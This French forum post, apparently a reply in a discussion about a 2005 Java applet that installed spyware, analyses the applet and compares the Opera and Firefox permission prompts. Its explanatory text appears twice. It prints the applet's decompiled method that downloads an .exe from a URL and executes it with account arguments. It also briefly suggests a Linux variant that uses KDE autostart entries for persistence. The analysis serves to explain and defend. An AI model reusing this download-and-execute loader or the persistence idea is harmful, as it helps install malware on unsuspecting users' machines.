* Créé un fichier temporaire dont le nom finit par ".exe"
* Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
* Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
* Exécute le fichier temporaire
C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)
Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :
java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at InstallerApplet.jbInit(InstallerApplet.java:73)
at InstallerApplet.init(InstallerApplet.java:65)
at sun.applet.AppletPanel.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :
Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.
Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.
# Explications
Posté par Boa Treize (site web personnel) . En réponse au journal Java pour installer des spywares ?. Évalué à 10.
private void jbInit() throws Exception
{
File file = File.createTempFile(app, ".exe");
ByteArrayOutputStream bytearrayoutputstream = downloadFile(url);
if (bytearrayoutputstream == null)
throw new IOException("downloading was failed");
String s = saveFile(bytearrayoutputstream, file);
bytearrayoutputstream.close();
String s1 = "";
if (account_id != null && account_id.length() > 0)
s1 = s1 + " /aid:" + account_id;
if (download_key != null && download_key.length() > 0)
s1 = s1 + " /key:" + download_key;
if (download_lock != null && download_lock.length() > 0)
s1 = s1 + " /lock:" + download_lock;
if (cfg != null && cfg.length() > 0)
s1 = s1 + " /cfg:" + cfg;
if (sub != null && sub.length() > 0)
s1 = s1 + " /sub:" + sub;
Runtime.getRuntime().exec(file.getAbsolutePath() + s1);
}
Traduit en français :
* Créé un fichier temporaire dont le nom finit par ".exe"
* Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
* Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
* Exécute le fichier temporaire
C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)
Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :
java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at InstallerApplet.jbInit(InstallerApplet.java:73)
at InstallerApplet.init(InstallerApplet.java:65)
at sun.applet.AppletPanel.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :
Opéra (demande plus de privilèges)
http://people.opera.com/rijk/tmp/java-warning.png(...)
Firefox (demande habituelle de faire confiance)
http://people.opera.com/rijk/tmp/java-warning-ff.png(...)
(note : la boîte serait plus anodine si le certificat était valide)
Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.
Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.
Sources :
Réponses à l'article dans le blog (très mal titré d'ailleurs)
http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)
Fil de discussion chez Opéra
http://my.opera.com/forums/showthread.php?s=512c7fd1aabfb0005ffc002(...)